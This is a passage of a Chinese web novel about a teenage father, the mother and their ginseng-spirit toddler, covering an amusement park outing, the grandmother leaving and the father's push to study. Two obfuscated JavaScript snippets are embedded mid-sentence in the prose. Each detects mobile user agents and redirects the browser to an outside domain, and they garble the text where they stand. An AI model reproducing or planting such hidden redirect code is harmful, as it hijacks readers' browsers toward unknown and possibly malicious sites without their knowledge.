“车车!” “南瓜车车!” 小朋友离弦之箭似的,拦都拦不住,裴以砚和孟栀摇紧跟在后面追。 熹熹跑到校车车头前,挥舞着双臂一蹦一蹦:“哇,公主的南瓜车好漂酿!” 和别家幼儿园土里土气的校车相比,这家幼儿园的校车造型确实更出彩些,整体像个圆乎乎的南瓜。 不错,小孩儿审美在线。 熹熹抱住裴以砚大腿,黏糊糊的说:“爸爸,熹熹要坐南瓜车,熹熹要在这里上学。” 爸爸两个字一出来,周围的气氛凝滞了下。 负责人惊异的神色不加掩饰,眼珠子在过分年轻的脸上来回扫。 这这这俩是父女,不是兄妹?! 当爸爸的一个多月里裴以砚经历过无数次这样的场面,早就修炼的皮糙肉厚,习以为常。 他眼皮都不带掀一下,懒懒的问:“不再看看别的了?” “不看啦不看啦。”她都走累了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14617666|153812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “行,那就这里吧。” 小朋友选中了自己喜欢的幼儿园,裴以砚和孟栀摇省了再纠结的功夫。 幼儿园一学期学费四千八,园服费五百块,校车接送三百,合计五千六,两人平摊不多不少二千八。 这对于普通家庭来说都不算小钱了,裴以砚记忆里他没读过学费那么贵的学校。 从不为柴米油盐操心的孟栀摇也忽然有了危机。 她只剩几年的寿命,手里十五万的存款根本撑不了多久,她得为熹熹以后的生活做打算。 ——赚钱。 她要想办法赚钱。 难得出来一趟,孟栀摇没有着急回去,熹熹早就期待和爸爸妈妈去一次游乐园。 趁着今天这个机会,裴以砚和孟栀摇决定满足小丫头的愿望。 孟栀摇心脏不好,熹熹年纪太小,玩儿不了过山车、大摆锤、跳楼机、摇头飞椅这类刺激性项目。 然而熹熹人小鬼大,吵着要玩儿大摆锤,被爸爸无情拒绝,冷脸押着她去玩儿碰碰车和摩天轮。 碰碰车容量小,假肢不方便调整位置,为了不让小丫头再次失望,孟栀摇自告奋勇上场。 母女俩同坐一辆碰碰车,熹熹安全带扎得紧紧的,后脑勺靠在孟栀摇软软的臂弯里,来自她身上的西柚香气盈满了熹熹鼻腔。 小糯米团子一高兴,头顶两个小揪揪迎风摇摆,隐隐有原形毕露的趋势。 孟栀摇眼角跳了下,悄悄压下身子,一只手捏捏她的小揪揪: “熹熹,在外面千万不能变回人参宝宝,你努力控制一下它们。” 熹熹原本小手还搭在方向盘上,闻言赶忙抱住头:哎呀好险。” 差点变成人参片啦! 熹熹维持人类幼崽的形象需要燃烧法力,她道行浅,又是孩童心性,一旦注意力不集中很容易露出马脚,比如一头浓密的小卷发突然变成人参须。 被人拍到妥妥要上热搜的节奏。 孟栀摇把脖子上的围巾取下来,戴在熹熹的头上,熹熹就不用边玩边提心吊胆了。 场外的裴以砚:黑人问号脸jpg. ……怎么cos起狼外婆来了? 从碰碰车场地出来又去坐了摩天路,刚下来小姑娘就夹着腿往外跑。 “呜,厕所。” 快憋不住啦。 熹熹先前喝了半杯奶茶,尿意来的又凶又猛,以往都是裴以砚带她去厕所,今天孟栀摇在,他很自觉的躲清闲。 孟栀摇也是第一次来这个游乐园,所幸指示牌足够显眼,没费多少波折就找到了厕所。 “熹熹,地上滑慢点儿。” 熹熹两条小腿跑的快冒烟,捂着肚子急不可耐推门而入。 孟栀摇看见小丫头猛地刹住了脚步,耳朵里传来两声低低的惊叫。 孟栀摇直觉不对,定睛一看—— 母婴室三个大字明晃晃摆在眼前。 糟了。 孟栀摇一个箭步上前。 母婴室与女厕所紧挨着,熹熹着急去厕所只粗略扫了眼,最后水灵灵进错了。 没想到母婴室没锁,里面正好一个年轻妈妈抱着孩子喂奶。 熹熹不是天生的人类幼崽,她是一株由树灵爸爸喂露水长大的人参精,压根儿没见过人类母亲哺乳的画面。 此时的她宛如刘姥姥进大观园,睁大了眼睛巴巴盯着年轻的妈妈,黑白分明的双眼里清澈纯粹。 喂奶的妈妈红了脸,暗暗懊悔喂奶太急,忘记随手关门。 刚准备开口说点什么,又进来一个小姑娘。 六目相对,双双尬在原地。 襁褓里的小奶娃:咕叽咕叽~ “……小朋友。” “阿姨你好,请问小宝宝在喝什么呀?” 小宝宝的妈妈呆了下,如实道:“在喝奶,小宝宝都是喝奶长大的。” 喝露水长大的熹熹仿佛发现新大陆,眼睛唰地亮了:“那好喝吗?” 大人们早忘了幼年时母乳的味道,年轻的妈妈也不例外,看着眼前的小姑娘一脸好奇,像是从没喝过母乳的模样。 她不禁有点心软:“好喝,而且营养价值很高。” 熹熹只听见了好喝两个字,耳朵尖竖起来,羞答答开口:“阿姨,可以给我喝一口吗?一小口就好……唔。” 孟栀摇汗流浃背:“不好意思,打扰了。”说话间抱起小孩儿转身一个百米冲刺。 等熹熹上完厕所出来,小姑娘还颇为遗憾的砸吧嘴。 “妈妈,熹熹也想……” 孟栀摇:“不,你不想!” “好叭。” 裴以砚等的不耐烦刚拿起手机,熟悉的一大一小可算慢悠悠回来了。 “怎么弄这么久?你便秘了?” 熹熹摇头,张开手臂:“爸爸,抱。” 裴以砚弯腰毫无防备的把女儿抱起来,胸前忽地一痒,抬手拍开不老实的小爪子,拧眉低斥: “干嘛呢你?” “喝奶奶。”小家伙张嘴语出惊人,咽着口水望他,“爸爸,熹熹要喝奶奶~” 孟栀摇视线不由自主游移。 裴以砚常年健身,胸肌练的饱满软弹,看着就奶水充足,把熹熹馋坏了。 孟栀摇低头,抿住嘴角:咳咳,男、男妈妈也不是不可以啊。 离谱! 倒反天罡! 裴以砚绿着脸把崽放回地上:“做梦。” 小团子化身小跟屁虫不依不饶。 “爸爸,不要那么小气嘛。” “熹熹就喝一点点,一点点~” “不会喝光光哒。” “滚蛋。” 18. 18 小孩子的好奇心一旦上来不得到答案誓不罢休,没完没了。 裴以砚和孟栀摇轮番哄都不管用,各类酸奶、纯牛奶让她尝了个遍,依旧紧盯着爸爸那一亩三分地。 没什么耐心的裴以砚挂着脸,不想再和熹熹交流。 熹熹还委屈呢,觉得爸爸太小气了,她不就是想喝口奶吗,小宝宝都是喝奶长大的,她也是小宝宝呀。 小人参精性别意识模糊,父女俩鸡同鸭讲一通交流,把各自都气坏了。 父女俩在大街上闹起了别扭,熹熹气呼呼背对爸爸,脸颊小奶膘一晃一晃,粉嘟嘟的小嘴扁着,颇像被渣男始乱终弃,强忍委屈不肯落泪,楚楚可怜极了。 孟栀摇夹在父女俩之间,一会儿看看小朋友,一会儿瞄瞄裴以砚。 他俩在家里也这么吵的吗? 第一次看裴以砚被气到无语,还挺有趣的。 孟栀摇边发散思维,边接过哄崽的交接棒,三岁正是性别意识萌芽的年纪,熹熹毕竟是女孩子,有些知识由她这个做妈妈的点拨更方便。 孟栀摇蹲下身,点了点女儿的小鼻子,揽过她肩膀:“熹熹,爸爸是男孩子,天生没有奶水,不是故意小气不肯喂你的。” 熹熹对爸爸妈妈各有一套行事标准,明目张胆的双标。 对妈妈她愿意放下小脾气,好声好气的沟通。 熹熹迷惑:“爸爸没有奶水?那、那为什么爸爸的咪咪大大软软?” 难道不是奶水撑大的吗? 孟栀摇:“……”虽然她也赞成,但大实话不兴说啊。 她被旁边的低气压冻得哆嗦。 裴以砚脑仁一抽一抽的疼,满身怨气,他就喜欢健身怎么了?胸大的男人没惹任何人! 孟栀摇赶忙纠正:“这和咪咪大小没有关系的,男孩子的咪咪再大都没有奶水,那只是人身上的一个器官而已。” “只有经历十月怀胎,生过宝宝的妈妈才会有奶水。”以防丫头将主意打到她身上来,孟栀摇语速加快,“我没有亲自生下你,所以我也没有奶水喂你。” “熹熹,这样你能明白吗?” 熹熹在脑子里消化妈妈说的话,小眉头逐渐舒展,似懂非懂的点了点头。 “我明白啦,爸爸的咪咪只是装饰品,没什么用处。”小团子嗔怪的瞟了裴以砚一眼,“爸爸,你差点就误导熹熹,害熹熹闹笑话。” 还差点?? 不是已经闹笑话了吗?? 他的脸早让她个三头身的小崽子丢干净了。 裴以砚闭眼:“回家!” * 元旦后的一周,幼儿园陆续放寒假,公园里更加热闹了,每天路过公园都能听见里面的欢声笑语。 今年春节来的早,一月底就迎来除夕,新年的一年马上来就要到来。 周薏接到的电话越来越频繁,裴以砚不用猜就知道电话来自京市,是催她回京市过年的。 又在一次吃饭时周薏走到客房接电话,等她再出来,饭菜已经凉了大半。 “你回去吧。”裴以砚说。 周薏愣住。 “回京市去。”裴以砚冷声,“你在这里住的够久了。” 周薏握着筷子的手微微轻颤,问:“你在赶我走?你不要妈妈了?” “快过年了,你不回去难道等他们找上门来要人吗?”裴以砚面色冷淡,眸光狠绝,“我会不留情的把他们通通赶出去,你如果不心疼的话,就随你的便留下来。” 裴以砚说一不二,言出必行。 ——嗯!养崽前是这样的。 现在嘛他的容忍度被小崽子开发到了前所未有的高度,浑身上下就剩嘴还硬着。 熹熹捧着饭碗把存在感降到最低,支棱着耳朵听动静,一双大眼睛闪闪发亮。 周薏:“小砚,我们三个一起回家过年,好吗?” 裴以砚想也不想:“那是你家,不是我家。”他余光映着傻兮兮的小团子,“我的家在这里。” 周薏失落垂眸,这个孩子的心比想象中的还难焐热。 既然周薏自己牵起了话头,裴以砚干脆借着机会一次说清楚。 “我认你是我妈妈,以后你老了或病了,我愿意承担为人子女的责任,但你如果你想让我融入你另一边的家庭,抱歉,我做不到。” 裴以砚:“我没兴趣加入别人,你别白费心思。” 他的态度坚决,话里话外都在告诉向周薏不可能,直白的让人失望。 母子俩沉默的吃完了一顿饭,裴以砚去厨房洗碗,熹熹陪周薏窝在客厅沙发里看综艺。 小家伙谨记着树灵爸爸教给她的尊老爱幼,从不和奶奶周薏抢看电视,也不会因为不想算数和奶奶发脾气。 是的,平时周薏会教授熹熹一些简单的算数和认字,为她上学提前打好基础。 现在的小朋友卷起来和大人们不相上下,北上广地区的小朋友们一张嘴就是一口流利地道的外语,精通各类乐器,古诗词、微积分手到擒来。 周薏有意将孙女往这方面培养,因此每天都会抽空给熹熹上课。 小姑娘身上的奶香味很独特,像奶香和草木清香的混合体,每回周薏一搂着她就舒服的昏昏欲睡。 京市天气干燥,原以为她在那里呆了十年身体早就适应了,没想到一回到百草县,不仅睡眠质量变好了,皮肤也变得水当当,光滑紧致,比花大几万做项目还划算。 周薏是真不想离开啊。 “奶奶,你要走了吗?” 软乎乎的小嗓音悦耳动听,周薏重新撑开眼皮,抚了抚熹熹的发丝:“是啊,快过年了,得回去一家团聚。” “哦。”没过过年的小人参精对春节不感冒。 她杏眸弯弯,小米牙白白净净:“熹熹有礼物要送给你,奶奶,你把手手伸出来。” 周薏依言伸出手,一根带着温度的人参须放在了她手心。 “奶奶,你回家之后要是这里痛痛,就把须须炖汤喝,喝完以后都不会痛啦。” 小姑娘指着周薏后腰的位置。 周薏呆了下。 早年她在美容院工作,常年坐着,日积月累便得了腰间盘突出,即使后来养尊处优,精心保养,定时按摩针灸也未能完全根除,一旦久站或者久坐又会发作。 可她回来后就没再痛过了,小孙女是怎么知道她腰有毛病的? 熹熹一看周薏表情就知道她在想什么,当即补充道:“是爸爸告诉我哒。” 绝对不是小人参精看出来的! 竟然是小砚…… 周薏不记得自己是否告诉过裴以砚这件事,近些年来他们母子间交流少的可怜,也许是最开始她到京市的那一两年,她曾顺嘴提过,只不过时间久远,她已经忘了。 小砚却记得。 还特意买了根人参须给她补身子。 这孩子真是……刀子嘴豆腐心。 周薏的四肢百骸被暖意包裹,定定望着厨房里忙碌的少年,双眸隐隐含着水光,很是珍惜的将人参须揣进口袋。 她亏欠小砚太多太多了,以至于这孩子买人参都只能买一点点人参须。 周薏内心被心疼和愧疚填满,接过熹熹递来的纸巾擦眼泪,拿起手机简单操作了下。 刚从厨房出来的裴以砚听见消息提醒。 【您有一笔待接收的转账】 【来自妈妈:200000】 二十万。 裴以砚抬眸不明所以:“什么意思?” 周薏擦干了脸上的泪痕,霍地起身走到儿子跟前,啪一下捏住他脸,笑骂: “臭小子,妈妈给你钱花不是天经地义吗?问什么问,花就对了!” “……” 他妈受啥刺激了??? 裴以砚看不懂周薏打的哑谜,周薏以为儿子死要面子,双方都没打破砂锅问到底。 母子间的僵局却歪打正着的破了,周薏单方面被儿子感动的连续三个晚上笑醒。 裴以砚第二天领着熹熹去银行开卡,把二十万存进了熹熹的户头里,这是小丫头的第一笔存款。 以后每一年他都会往里面存一笔钱,作为女儿以后的安身立命之本。 临近春节,各大高校进入紧锣密鼓的期末冲刺中,嘉木高三的学生们刚考完本学期最后一轮模拟考。 成绩排名下来的那天,整个高三哀鸿遍野。 “靠!分数比我预估的还低,完了完了,这个年怎么过啊。” “偷着乐吧你,起码你排名没下降,我TM下降了五名,我真的要死了!” “就这破烂成绩还要家长签名,老吕真是生怕我们过个好年!” “哎,真羡慕那谁啊,没爸妈连签名都省了。” 有人嘘声,使劲朝说风凉话的人递眼色。 从老吕办公室回来的高大少年遮住了门口大半光影,热火朝天的场面随着他的到来冷凝下来。 他站在门口多久了?同学A心里发毛,揣着袖子缩起脖子,刚刚的话他不会都听到了吧。 光影攒动,裴以砚神情冷冽的逼近。 同学A:装死jpg. 邱明冷哼,挨揍也是活该,叫你们嘴贱! 冷风拂过,首当其冲的碎嘴子们皮肉绷紧,死死盯着迎面而来的高大背影,结果……什么都没发生。 碎嘴子们:哇,他居然不揍我们诶!他好温油啊! 邱明:当了爸爸的男人就是不一样,好成熟稳重! 已为人父的裴以砚情绪稳定的可怕,脑子里只有赚钱养崽,没空关注那些幼稚的闲言碎语。 说来说去换汤不换药,听都听腻了。 周薏回来后,邱明没好意思上门蹭吃蹭住,天天放学后缠着裴以砚一块儿打打篮球,顺带看看股票。 裴以砚以前是不打篮球的,改变是从熹熹有一次跟着周薏看偶像剧,男主打篮球的帅气身姿迷倒了一众女配,女主也为其倾倒。 电视机外的小丫头小脸红扑扑,捂着脸蛋嗷嗷叫个没完。 身为老父亲的裴以砚顿时警铃大作,开始主动拉着邱明打篮球,他女儿决不能被打篮球的黄毛拐跑。 不就是打篮球吗,有什么了不起的,他也会! 一方面是该死的胜负欲,另一方面是老父亲为女儿计划的脱敏训练。 青春年少的爸爸打篮球必须帅过偶像剧男主,他就不信小丫头天天看他打篮球,以后还能对打篮球的臭小子们有非分之想。 连续看爸爸打一周篮球的熹熹:…… 已老实,求放过qaq “今天不打了。”裴以砚收拾好书包往外走。 邱明跟上:“熹熹脱敏成功了?” 裴以砚大步流星,喉咙里发出一个愉悦的嗯。 “哎哟这么快?”邱明乐了,“本来以为至少得十天半个月呢。” 裴以砚斜睨他:“你想多了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14629910|153812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他的女儿不是那么肤浅的崽,一个星期够让她认清谁是世界上打篮球最帅的人。 邱明:“砚哥,群里消息你看了没?大刘和老杨问什么时候再聚,他们想熹熹了。” 裴以砚:“一个小丫头而已,想她干什么。” “一看你就没注意群消息。”两人并肩走着,大小伙子邱明露出姨母笑,“他们说熹熹是他们的小福星,上次碰完面之后,大刘视力一夜回春,老杨肿瘤不药而愈,真是太巧了,最近他俩又正好有几个重大投资项目,全等着熹熹给他们赐福呢。” 裴以砚听完,嗤笑一声。 “什么乱七八糟的。” 他眉目冷峻,极是不屑:“亏他们还是党员,信这种东西不如少抽几包烟,多运动少熬夜。” 邱明不接话。 裴以砚陡然警觉:“怎么不说话?” 邱明揉揉眼:“砚哥,你都会关心人了,好不习惯啊。” 裴以砚静默半晌:“……滚蛋。” “啊对对对,就是这个味儿!” 裴以砚无语的撇过头,加快回家的脚步。 圆月高悬,冷风呼呼刮的人脸生疼,朦胧路灯下,背着书包的少年埋头前进,抬眸的万家灯火中有他的一盏。 周薏今天下厨煲了份拿手的黄豆猪脚汤,猪脚从中午开始炖,总共炖了七个小时,锅盖一掀满屋飘香,猪脚软烂到一抿就化,唇齿留香。 再次吃到周薏煲的猪脚汤,裴以砚淡然的内心泛起丝丝波澜,味道和记忆里的一样。 周薏平静而温柔的注视一大一小,酝酿了会儿,柔声说: “小砚,妈妈明天就回京市了,妈妈不在身边你和熹熹要好好照顾自己,碰到解决不了的问题告诉我我,不要独自承担,妈妈提前和你们说一声新年快乐。” 裴以砚顿了顿,眼底有释然和祝福,他放下汤勺,直视周薏的黑眸温润柔顺: “新年快乐,妈妈。” 一只小肉手横了出来:“爸爸奶奶,新年快乐!” “干杯~” 小丫头拿起手边的酸奶,咕咚咕咚几大口下肚,笑眼弯弯,嘴角一圈奶渍。 裴以砚唇边挂着温淡的笑意,伸手揉了揉小姑娘可爱的头顶:“今天准你多看两集狗子。” 小姑娘喜出望外,举手高呼:“爸爸万岁!” 望着这幕,周薏感慨万千,大儿子越来越有爸爸的样子了呢。 可惜父慈女孝的场景没有持续多久,饭后周薏就看到大儿子暗自抓狂,生无可恋的悲壮表情。 “爸爸,这是什么呀?” 地上散落一叠试卷、课本,校草爸爸的书包刚经历过一场浩劫,被洗劫一空。 而犯罪分子正举着一张满是红叉叉的试卷,聚精会神的翻看,并向事主抛出探索知识的询问。 背后那鲜红的六十分格外醒目。 抬眼的刹那,裴以砚差点当场去世,他倒吸一口气。 “拆家啊你!” 噌噌两步过去,一把夺回试卷,嘲讽道:“大字不识一个看了也是白看。” 这话小人参精就不爱听了,熹熹鼓腮,很不服气的反驳:“谁说熹熹不识字,熹熹认识!” 一股不好的预感爬上裴以砚心头。 对了,最近小丫头在和她奶奶学认字来着…… “爸爸,那是你的试卷对不对?” 裴以砚汗流浃背了。 “你不说我也知道。”熹熹叉起小腰,一板一眼道,“爸爸,虽然你还差一点点一百分,但是你不能骄傲,要继续加油。” “?” “熹熹以后也要考九十分!不,熹熹要比爸爸更厉害,考好多一百分!” 裴以砚默默收起试卷。 皮笑肉不笑:“那你加油,光耀门楣靠你了。” “包在熹熹身上!” 小妖怪嘴上嫌弃爸爸才考九十分,其实心里满意的不得了。 熹熹到处和小区里的小朋友炫耀他爸爸的‘优异成绩’,到处炫耀他有个天才高中生爸爸。 电话手表聊到欠费:“元宝,偷偷告诉你哦,我爸爸好聪明哒,他考试得了九十分哦!” “星星,我爸爸考了九十分,他以后要当科学家的,你要不要我爸爸的签名?熹熹可以免费送给你呦。” “但是以后卖了小钱钱要分我一半!” “哎呀不信你来我家,我给你看我爸爸的卷子~” “哼,他下次一定会考一百的!” 裴以砚:…… 周薏笑眯眯鼓励:“小砚,为了熹熹你得加油啊,光耀门楣靠你了。” 裴以砚一个头两个大。 上高中以来,他考试一次比一次摆烂,他就想简单的拿个高中毕业证算了。 每个月模拟考永远是垫底的那几名,无所谓分数有多么触目惊心,不管老吕给他做多少次思想工作,他照旧我行我素。 然而这次他开始感到一丝分数羞耻,就……非常难为情。 他要怎么不失爸爸的体面和尊严告诉熹熹,她爸爸不是当科学家的料,没有当科学家的梦想,签名卖不了高价啊。 啧,真说了,那群小屁孩儿会不会认为小妖怪是吹牛皮大王,以后不带她玩儿了?? 裴以砚愁的夜不能寐,辗转反侧,某天半夜坐起来,盯着小孩儿天真无邪的睡颜,咬咬牙。 科学家比资本家名声好听,试试就试试! 19. 19 裴以砚的发愤图强来的气势汹汹。 代码不敲了,股市不看了,每晚哄完女儿睡觉之后挑灯夜读。 他一早自学完了大学高数,高中数学和物理自然不在话下,主要补的是其余几门课,其中语文和英语一直是裴以砚的短板。 他记忆力不错,但远不到过目不忘的地步,每天睁眼就是死脑子快背啊。 周薏回京市后两天,保姆刘姨也提前请假回老家过年,昏暗的备考生活雪上加霜。 高中生爸爸人麻了。 “最近忙什么呢,一天到晚看不到你人影,号也不上了,干啥呢是?”是刘漾打来的电话。 连着几次邀约被推,他得看看怎么个事儿。 裴以砚面无表情:“冲奶粉。” 刘漾吃惊:“你还需要亲自冲奶粉?你赚的钱不够你请个保姆的吗?” 这小子炒股少说也赚了一百个w,养个小朋友而已,用得着多少钱,哪至于那么紧巴巴的。 电话那头静默一瞬,扯出疲倦的冷笑:“等你以后有了孩子就知道了。” 这话好似曾相识啊。 刘漾打个寒颤,连忙道:“哎别!我不婚丁克啊。” 孩子还是看别人养可爱,他就喜欢云养崽。 刘漾:“我和老杨在奶茶店坐着呢,邱明也在,三缺一你赶紧过来啊。” “不去。” 刘漾体贴道:“知道你走不开,你把熹熹也带来,咱几个一块儿帮你带女儿啊。” 熹熹没人照看,裴以砚不得不顶着老吕吃人的脸色请一周假找临时保姆。 他现在一边学着做饭给小崽子吃,一边要应对即将到来的期末考,每天累的倒头就睡,没精力应付他们。 “放假再说吧,快期末了我得复习功课。” “……什么东西?”刘漾换一边耳朵听,甩甩头说,“刚刚没听清,你再说一遍。” “没事我挂了。” 半截话剩嗓子眼儿里,耳边是嘟嘟的忙音。 刘漾狐疑的摸摸鼻子。 杨森把玩着手里的打火机:“怎么说,阿砚那小子又不来啊?” “他说要快期末考了要复习功课。”刘漾眯起一双狐狸眼,手指摩挲下巴,“不对劲,阿砚这是要转性准备考大学了啊。” 邱明抬头,坚定的否认:“不可能,砚哥刚请了几天假,把老吕气的不轻,估计在忙其他的事儿。” 难道——是新游戏开发好了? 刘漾一喜:“走。” “哪儿去?” “还能去哪儿,他家啊。” 邱明:“哎,老杨、大刘等等,不是这边,砚哥搬新家了!” 三人呼啦啦到了裴以砚新家楼下。 咔哒,门开了。 “咦,小邱哥哥,大刘叔叔,杨叔叔,欢迎光临~” 门边一个水蜜桃味的小团子奶声奶气,乌黑细长的睫毛下是一双明亮水润的童眸,白嫩的小肉手做出往里请的动作,又萌又奶直击猛男心房。 牛高马大的老糙汉杨森笑得一脸灿烂。 刘漾捏着嗓子:“小熹熹记忆力不错啊,还记得你大刘叔,好棒棒。” 邱明san值狂掉:救大命,耳朵脏了,男人夹起来真够恶心的啊啊啊。 这个年纪的小孩儿通常就记得身边亲近的人,那些只有过一面之缘的人哪凉快哪儿呆着。 不同的是熹熹是小妖怪,天生聪慧,加上后来从裴以砚嘴里得知,刘漾送的那块丑不拉几的手表竟然价值六位数,对这个品味独特的叔叔印象直接超级加倍。 裴以砚死活不肯戴那块手表,熹熹便化身小地鼠今天藏这里,明天藏那里,弄得比掌握商业帝国的总裁还忙。 最后看不过去的小爸爸哆嗦着眼角,斥巨资给她买了一个专属的保险箱才消停。 杨森送的大金镯子和周薏给的大红包也被熹熹收进了保险箱。 “快进来坐呀。”小团子做足了小主人的架子,啪嗒啪嗒跑到饮水机前给他们打水。 “不用忙熹熹。”邱明笑着制止,“我们渴了自己打水。” 小不点走起路来跟只小企鹅似的摇头摆尾,可爱的要命,他们可舍不得她受累。 刘漾:“小熹熹,你爸爸呢?” “爸爸在厨房干活呐。” 三人进来的动静不小,裴以砚却没吭声,三个老油条顿时觉得里面有事儿。 互相确认过眼神,哗啦,厨房门一拉开,一道寒光直直射来:“你们来干什么?” 三人猝不及防吓了一跳,齐刷刷后退。 靠,这谁?? 叛逆少年改走暴躁甜心了?? 灶台前,桀骜不驯的阴郁少年身上系着香芋色围裙,头上戴着白色小猫发箍,帅脸拉的老长,看谁谁不爽的表情。 这波视觉冲击属实不小。 “砚哥!!你竟然会做饭?!!”邱明激动的怪叫起来,声音险些掀开天花板,“还是我最爱的辣椒炒肉!” 砚哥心里果然有他这个狗腿子qaq 这顿饭不蹭简直天理难容。 裴以砚耳朵被吵的生疼,一挥锅铲:“闭嘴,没事出去。” 邱明腆着脸溜进去:“别啊砚哥,我来给你打下手,有什么要洗的菜不?我洗菜剥蒜一把好手,我妈最爱吃我剥的蒜了。” “……那行,你剥蒜。” “好嘞,要多少?” “越多越好。” 裴以砚做饭最烦剥蒜环节,指甲缝里全是残留的大蒜味,洗几次手都没用。 刘漾上下打量裴以砚,看热闹不嫌事儿大,贱笑着问:“阿砚,你这是……cos家庭煮夫呢?啧,够贤惠的啊。” 裴以砚一记眼刀甩去:“不是要带娃吗?快滚。” 刘漾呵呵笑着拎起一箱水果大摇大摆:“当爸的人了火气别那么大,今早空运过来的车厘子,洗了尝尝。” 杨森紧跟在后面,拍拍裴以砚肩膀,往他锅里探了探:“嚯,辣椒炒肉好啊,开胃,正好当饭后小甜点。” ? 裴以砚硬邦邦道:“没煮你们的饭。” 刘漾飞快接话:“没事,哥几个饭量不大,浅尝两口就行。” 裴以砚一脸别扭:“没有多余的碗筷。” 刘漾:“那算事儿?当哥的铁砂指是摆设啊,我用手抓。” “……”6,这饭是非吃不可。< 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“……”熹熹眸子愕然睁大,小脸蛋略微划过一丝慌乱,此地无银三百两的否认,“没有没有,熹熹没有偷吃完!” 裴以砚弯腰打开橱柜,一罐空了的番茄酱赫然在列。 他嫌店里的番茄酱太甜腻,小孩儿吃多容易蛀牙,就上网自学做番茄酱,糖放的很少,小孩儿意外的很给面子,半点不挑。 平时吃包子馒头都要蘸点,隔三差五趁他不备偷吃。 裴以砚手握呈堂证物:“这是什么?” 熹熹:“罐子……” “是什么罐子?” “空、空罐子。” 裴以砚嘴角抽了抽,揪了下熹熹软乎乎的脸:“谁吃的?好好说。” 小姑娘看看天,看看地,雪白的指尖搅在一起,脸蛋红红。 “唔,是……是小妖怪吃的。” 裴以砚眼神意味深长,嘴角微勾:“原来家里藏着一只狡猾又贪吃的小妖怪。” 熹熹羞恼的搓着小手。 下一刻,忽然骄傲挺胸,正义凛然说:“那是因为小妖怪有个挑食不爱吃番茄的爸爸,小妖怪是帮不懂事的爸爸吃,不然番茄们会伤心的。” ??? 他从没说过自己讨厌吃番茄,这小丫头片子怎么知道的,裴以砚惊讶挑眉。 熹熹底气一足,说话声音都大了:“小妖怪爸爸应该谢谢小妖怪,好好奖励她~” 裴以砚似笑非笑:“奖励什么呢?” 熹熹装模做样的想了两下,小奶音慢吞吞:“奖励小妖怪爸爸给小妖怪喂奶奶~” 三傻:“哈哈哈哈哈哈!” “……” 好个贼心不死。 裴以砚二话不说拎起小崽子丢回客厅,给他好好反省反省! 小崽子却没生气,稚嫩的脸上是一切尽在掌握之中的淡定。 离近了就能听到她嘀嘀咕咕:“好吃的第一口都是留给妈妈哒,第二口才是熹熹,等妈妈喝完第一口奶奶就轮到熹熹啦。” 聪明的小妖怪才不信爸爸那么大的咪咪没有奶水。